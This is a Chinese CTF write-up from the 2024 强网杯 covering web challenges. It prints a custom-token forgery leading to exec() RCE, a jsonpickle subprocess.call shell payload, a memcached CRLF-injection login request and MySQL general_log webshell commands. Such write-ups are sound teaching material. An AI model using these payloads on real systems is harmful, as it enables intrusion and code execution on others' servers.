前言
我大概一辈子都忘不了强网杯了吧
没有爆零,不是垫底,作为一个历史短暂的双非校队已经远超预期了(笑)
Jeopardy
Pharaoh’s Pyramid
from wsgiref.simple_server import make_server
from pyramid.config import Configurator
from pyramid.events import NewResponse
from pyramid.response import Response
import util
users = []
super_user = ["admin"]
default_alg = "RS"
def register_api(request):
try:
username = request.params['username']
if username in super_user:
return Response("Not Allowed!")
password = request.params['password']
except:
return Response('Please Input username & password', status="500 Internal Server")
data = {"username": username, "password": password}
users.append(data)
token = util.data_encode(data, default_alg)
return Response("Here is your token: "+ token)
def register_front(request):
return Response(util.read_html('register.html'))
def front_test(request):
return Response(util.read_html('test.html'))
def system_test(request):
try:
code = request.params['code']
token = request.params['token']
data = util.data_decode(token)
if data:
username = data['username']
print(username)
if username in super_user:
print("Welcome super_user!")
else:
return Response('Unauthorized', status="401 Unauthorized")
else:
return Response('Unauthorized', status="401 Unauthorized")
except:
return Response('Please Input code & token')
print(exec(code))
return Response("Success!")
if __name__ == '__main__':
with Configurator() as config:
config.add_route('register_front', '/')
config.add_route('register_api', '/api/register')
config.add_route('system_test', '/api/test')
config.add_route('front_test', '/test')
config.add_view(system_test, route_name='system_test')
config.add_view(front_test, route_name='front_test')
config.add_view(register_api, route_name='register_api')
config.add_view(register_front, route_name='register_front')
app = config.make_wsgi_app()
server = make_server('0.0.0.0', 6543, app)
server.serve_forever()
审计代码,只需要以 admin 登录就能 rce
观察注册获取jwt的部分:
users = []
super_user = ["admin"]
default_alg = "RS"
users.append(data)
token = util.data_encode(data, default_alg)
跟进
def data_encode(data, alg):
if alg not in ['HS', 'RS']:
raise "Algorithm must be HS or RS!"
else:
private_key, public_key = generate_keys()
if alg == 'RS':
signature = sign_data(private_key, data)
data_bytes = json.dumps(data).encode('utf-8')
encoded_data1 = base64.b64encode(data_bytes) # data
encoded_data2 = base64.b64encode(signature) # signature
print(encoded_data2)
encoded_data3 = base64.b64encode(alg.encode('utf-8')) # alg
encoded_data4 = base64.b64encode(public_key) # public_key
encoded_data = encoded_data1.decode() + '.' + encoded_data2.decode() + '.' + encoded_data3.decode() + '.' + encoded_data4.decode()
print("The encoded data is: ", encoded_data)
return encoded_data
else:
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
inputdata = json.dumps(data).encode('utf-8')
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()
signature = base64.b64encode(hex_dig.encode('utf-8'))
encoded_data1 = base64.b64encode(inputdata) # data
encoded_data3 = base64.b64encode(alg.encode('utf-8')) # alg
encoded_data = encoded_data1.decode() + '.' + signature.decode() + '.' + encoded_data3.decode()
print("The encoded data is: ", encoded_data)
return encoded_data
def sign_data(private_key, data):
rsakey = RSA.import_key(private_key)
# 将JSON数据转换为字符串
data_str = json.dumps(data)
hash_obj = SHA256.new(data_str.encode('utf-8'))
signature = pkcs1_15.new(rsakey).sign(hash_obj)
return signature
然后是decode
def data_decode(encode_data):
try:
all_data = encode_data.split('.')
sig_bytes = all_data[1].replace(' ', '+').encode('utf-8')
print(sig_bytes)
data = base64.b64decode(all_data[0].replace(' ', '+')).decode('utf-8')
json_data = json.loads(data)
signature = base64.b64decode(sig_bytes)
alg = base64.b64decode(all_data[2]).decode('utf-8')
key = secret
if len(all_data) == 4:
key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
key = base64.b64decode(key_bytes) # bytes
# 验证签名
is_valid = verify_signature(key, json_data, signature, alg)
if is_valid:
return json_data
else:
return False
except:
raise "something error"
def verify_signature(secret, data, signature, alg):
if alg == 'RS':
rsakey = RSA.import_key(secret)
# 将JSON数据转换为字符串
data_str = json.dumps(data)
hash_obj = SHA256.new(data_str.encode('utf-8'))
try:
pkcs1_15.new(rsakey).verify(hash_obj, signature)
print("Signature is valid. Transmitted data:", data)
return True
except (ValueError, TypeError):
print("Signature is invalid.")
return False
elif alg == 'HS':
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
print(data_bytes)
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()
if hex_dig == signature.decode():
return True
else:
return False
一开始看到有 RS 有 HS,欸是不是要打 RS 转 HS 的 trick 🤓👆
拿个 token 解码测试一下
{"username": "aaa", "password": "123"}iÛÕ`Ø}£P5À..ï.Ì.¬?%кFU=×.UT.è57 a8ο./òLkntãÝ_©....àm¥£.à-uqð~ºÀ¦Õ.·.äú...0..¿#ÐÒfVuº
ÔÙgdðõ%Æìy.Ì.«..v.§~..cßல.=Ùq#.0ò..Q.¬û.W̶º0Ô.¼ëöþ)¨.òOÛ?ýv´¦.Ë7.d...Øc©.é..1..%ñ.9á}Öû.NÂ.¤v.ü6.ÂÐY.v¿.ðfâ....IJ¬|Ç´½.º.O.jîíÝq.®G`Ê.ïÅËhã.¯.<\z¯å¨.~q2è|Ä[ãp.<®ç².ùRS-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0IdDl+WgYW49pk+UCoYy
pX4SPvon3Pc9uNgM6htf63pYUKnqcFjm0LqAd5q/+t5Ut5L1P98IZRyRjYF/W98W
rLWQpG2Y2WiQ4/stCx/qtCg+UGoG7ItWMKrUAWxjjwzqun++yZIQ02AeLJzUSbC+
uEEBqvzkXrr4FJvPHpIbWU/hE23nEmRL5pze8I7zym7M38Q3doOPSTsQV15b0Kcp
pt5Fvn3TxQAlWmdARk0sY0GbR/oo80eniQvIlswbPGeORgldbXLY1IAusaTiIenQ
JVU9+//+D9m7OZdoGOeqPLJ7jns9bTX8qwkjtuH0pDREK4Rr+vBFYKSc/TfXraNc
+wIDAQAB
-----END PUBLIC KEY-----
得到RS加密的公钥
下断点看一下all_data
0 =
'eyJ1c2VybmFtZSI6ICJhYWEiLCAicGFzc3dvcmQiOiAiMTIzIn0='
1 =
'nDnHSpDbV3CVBn24/aZQc3lOdxQug5w5zj93isQYXyViMeRLqNPu53sZNGxEjL2rd55B4H7Cc+gQ2x4f/NcZQ8ACVDgtQe5C4be1y7uan2qitc4eQGCkbmmDQeogdJteJCzHeZaePp3Vg9/+U+588A1eQS1/UG5vDawVGLel5UYH6nmZha0zZ2CbrNBbbu3SPaeGDsj/mJscssETStFGx8iEYra3eYh9L3ugEUcP/7D4EVi1EKeu98Mc6IwnwjgxsdmihpuZRZlSI1NUi+TfbjLBLb57WH9dhKOQAr06xO/HhL3U73D8kdVCKCWXMolZZXw8eIkfuvS+5QUNWM7DwQ=='
2 =
'UlM='
3 =
'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUEyZVVmNzNDVlJPL3RwYjVLSnQ0QgptY2xDSUtWMXNrZGtkQWcwS2I5RGlrRjREeXBwODFLb0hFd2VIUUxRS0RnR0RzZnpQeFI4Qm1vQmV1TlBVZkg2CkRuVDdEQ2dRSlVpaDBVd3hRYVprZWprWW9kY1RZTG9QSlpZK1BnSjRaKzFNZWFOK1FFRG1aUjEzTU5kMy9OaE0KejY3Tk1GYWVaVm1LN2FQQzh5blJXRzVPbFZpU0JDNDUxOG9TcVhsRkx3MU5CR2pnb1N2ZS9FU2VoUStuTlUvdgpwaU1sNnVtUzhZbjlZVytrMU0vbGJ3TWc1N3lydXRGYVh2WmllUG4zSENrd0YzTUF0RkpadEVOL3huaU1FU3pPClZBVmFYZ3EwWHVTYXJZSXU4b2dvU2Q4MUdLNGJmWHdscTZWbXNWSExQRFBvMkRrTmcxS1B2L1Erd05vbHI1SlkKTHdJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0t'
len() =
4
好猜测要让解密方式为 HS
0 改为 eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjMifQ==
2 改为 SFM==
签名部分就是获取的公钥
构造出jwt:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwYXNzd29yZCI6ICIxMjMifQ==.SFM==
但是失败了
观察 HS 的加解密部分:
# enc
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
inputdata = json.dumps(data).encode('utf-8')
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()
signature = base64.b64encode(hex_dig.encode('utf-8'))
# dec
hash_object = hashlib.sha256()
data_bytes = (json.dumps(data) + secret).encode('utf-8')
print(data_bytes)
hash_object.update(data_bytes)
hex_dig = hash_object.hexdigest()
发现要先知道 secret 的值才能伪造
而且这里的加密逻辑都是它自己实现的,不能套用常规的 jwt 思路把 RS 转为 HS
仔细一看对 secret 的操作
key = secret
if len(all_data) == 4:
key_bytes = all_data[3].replace(' ', '+').encode('utf-8')
key = base64.b64decode(key_bytes) # bytes
# 验证签名
is_valid = verify_signature(key, json_data, signature, alg)
草了,这里传进去的 key 就是公钥,和 secret 没有半点关系,那就简单了,加解密只和算法有关
尝试直接在本地解除限制生成 admin 的 token ,带到靶机上,发现可以登录
然后就拿到 exec 了,接下来的问题是靶机不出网而 print(exec(code))
没有回显
一开始想的是用 sctf 的 trick 在 wsgi server 写内存马,但是整了半天拿不到全局 __globals__,浪费了非常久的时间
g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",g.pop.__globals__.__builtins__.__import__('os').popen('whoami').read())
最后还是选择找个有调用的方法重写,这里重写 read_html 方法来读flag
util.read_html=lambda+filename:(lambda+f:f.read())(open('/flag','r',encoding='utf-8'))
然后随便访问一个调用了 read_html 接口即可回显
ezlogin
尝试登录可以得到账密 guest:guest
登录后得到 token,解码得到
{"py/object": "__main__.Token", "username": "guest", "timestamp": 1733378883.1952913}
除此之外没有其他信息
py/object 的部分是数据类的写法,在这里测了半天类一直返回500
github 上搜了一下找到个相关的项目:https://github.com/jsonpickle/jsonpickle
和队友讨论了很久之后猜测是在 timestamp 上做文章,因为每次登录之后都会生成一个 timestamp 可以反复使用,返回 welcome,过一阵时间后就会返回 Invalid token,而当我们直接把 username 改为 admin 的时候就会直接返回 Invalid token
于是需要爆破 timestamp ,这里我交给队友用 yakit 爆出一个 token 就能持久化使用了
if not waf(token):
return 'Invalid token'
token = jsonpickle.decode(token, safe=True)
if time() - token.timestamp < 60:
if token.username != 'admin':
return f'Welcome {token.username}, but you are not admin'
return 'Welcome admin, there is something in /s3Cr3T'
return 'Invalid token'
然后呢,很明显是要打 jsonpickle 了,有官方的 fuzzing 文档:https://github.com/jsonpickle/jsonpickle/blob/main/fuzzing/README.md
貌似没啥用
继续在 github 上搜索:
https://github.com/VerSprite/flask-json-pickle
https://versprite.com/vs-labs/into-the-jar-jsonpickle-exploitation/
测试发现 ban 了 reduce、tuple,不过注意到 py/object 这里能自己选择类,那么就可以考虑直接调用命令执行类subprocess.call
传入参数可以用 py/newargsex
无回显,一开始想用盲注读文件的,但是发现反斜杠被 ban 了,那么就很难搞了
测试发现有个 static 文件夹可以访问,那么直接带外
{"py/object": "subprocess.call", "py/newargsex":[[["/bin/sh","-c","cat${IFS}/app/app.py>/app/static/app.py"]],[{"stdout": null}]]}
源码:
from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os
@dataclass
class User:
username: str
password: str
@dataclass
class Token:
username: str
timestamp: int
app = Flask(__name__)
users = [User('admin', os.urandom(32).hex()), User('guest', 'guest')]
BLACKLIST = [
'repr',
'state',
'json',
'reduce',
'tuple',
'nt',
'\\',
'builtins',
'os',
'popen',
'exec',
'eval',
'posix',
'spawn',
'compile',
'code'
]
def waf(jtoken):
otoken = json.loads(jtoken)
token = json.dumps(otoken, ensure_ascii=False)
for keyword in BLACKLIST:
if keyword in token:
return False
return True
@app.route('/')
def index():
return render_template('index.html', title='Home')
@app.post('/login')
def login():
username = request.form.get('username')
password = request.form.get('password')
for user in users:
if user.username == username and user.password == password:
res = app.make_response('Login successful')
token = Token(username, time())
res.status_code = 302
res.set_cookie('token', base64.urlsafe_b64encode(jsonpickle.encode(token).encode()).decode())
res.headers['Location'] = '/home'
return res
return 'Invalid credentials (guest/guest)'
@app.route('/home')
def home():
token = request.cookies.get('token')
if token:
jtoken = base64.urlsafe_b64decode(token.encode()).decode()
if not waf(jtoken):
return 'Invalid token'
token = jsonpickle.decode(jtoken, safe=True)
if time() - token.timestamp < 60:
if token.username != 'admin':
return f'Welcome {token.username}, but you are not admin'
return 'Welcome admin, there is something in /s3Cr3T'
return 'Invalid token'
@app.route('/s3Cr3T')
def secret():
token = request.cookies.get('token')
if token:
jtoken = base64.urlsafe_b64decode(token.encode()).decode()
if not waf(jtoken):
return 'Invalid token'
token = jsonpickle.decode(jtoken, safe=True)
if time() - token.timestamp < 60:
if token.username != 'admin':
return 'Invalid token'
return '''
if not waf(token):
return 'Invalid token'
token = jsonpickle.decode(token, safe=True)
if time() - token.timestamp < 60:
if token.username != 'admin':
return f'Welcome {token.username}, but you are not admin'
return 'Welcome admin, there is something in /s3Cr3T'
return 'Invalid token'
'''.strip()
return 'Invalid token'
if __name__ == '__main__':
app.run('0.0.0.0', 5000)
同样的方法用 /readflag 读取flag即可
anniversary(0 Solved)
观察渲染格式,这里是方法 参数
的形式
text: '距离纪念日还有 {{anniversary_time_diff t=1736006400000 l=\"cn\"}}'
测试报错:
Error: Invalid time value
TypeError: Cannot destructure property 'hash' of 'arguments[0]' as it is undefined.
TypeError: Cannot destructure property 't' of 'hash' as it is undefined.
RangeError: Invalid time value
hint:
提示:
1. 尝试探测服务端渲染模版的组件及其版本
2. anniversary_time_diff无法利用
3. 尝试发现其他模版可以访问的函数/变量
4. 尝试利用模版渲染组件本身的漏洞实现RCE
5. 尝试类型混淆
测不出来,什么nodejs模板会只渲染{{}}
,[]
能返回一个 object 啊
RW
TS++(Unsolved)
thinkshop 还在追我
和 thinkshopping 一样的操作打 memcached 进后台
POST /public/index.php/index/admin/do_login.html HTTP/1.1
Host: localhost:36000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=gan31bc5bm4k4jn9v7npb878g6
Content-Type: application/x-www-form-urlencoded
Content-Length: 255
username=admin%00%0D%0Aset%20think%3Ashop.admin%7Cadmin%204%20500%20101%0D%0Aa%3A3%3A%7Bs%3A2%3A%22id%22%3Bi%3A1%3Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A32%3A%2221232f297a57a5a743894a0e4a801fc3%22%3B%7D&password=admin
这样子账密 admin:admin 进后台
但是 secure_file_priv 为 /var/lib/mysql-files/
,不能读文件了
总之 diff 看一下和上一代比有哪些变化吧
$ diff -rq web1 web2
Files web1/application/index/model/Goods.php and web2/application/index/model/Goods.php differ
Files web1/application/index/view/admin/goods_add.html and web2/application/index/view/admin/goods_add.html differ
Files web1/application/index/view/admin/goods_edit.html and web2/application/index/view/admin/goods_edit.html differ
Files web1/application/index/view/index/goods.html and web2/application/index/view/index/goods.html differ
对比了一下,goods_edit.html 和 goods.html 里多了个 base64 解码,Goods.php 删掉了后面一串用不上的代码
sql 里仍有(1, 'admin', 'e10adc3949ba59abbe56e057f20f883e');
,也就是说可以1:123456
进后台
那么唯一的问题就是我们现在只有sql注入,写不了shell
感觉还是要从 memcached CRLF 入手
尝试写日志
show variables like '%general%';
set global general_log = on;
set global general_log_file = '/var/www/html/public/info.php';
select '<?php phpinfo();?>';
本地容器终端上测试能写,但是权限不够访问,遂放弃注入
最后想了下,既然我们能往 memcached 里面写入序列化字符串,那么也可以直接把 poc 的序列化字符串进行反序列化
然后就搜到了这个:https://zhcy2018.github.io/2023/%E5%BC%BA%E7%BD%91%E6%9D%AF%20thinkshopping.html
但是来不及了,没来得及多研究就架上台去尝试了,然后翻车了XD
游记(to be continued)
三天的强网梦结束了,归来依旧是个臭双非的学生,写个锤子游记,ddl赶不完了,等肝完ddl再说 —— 2024.12.8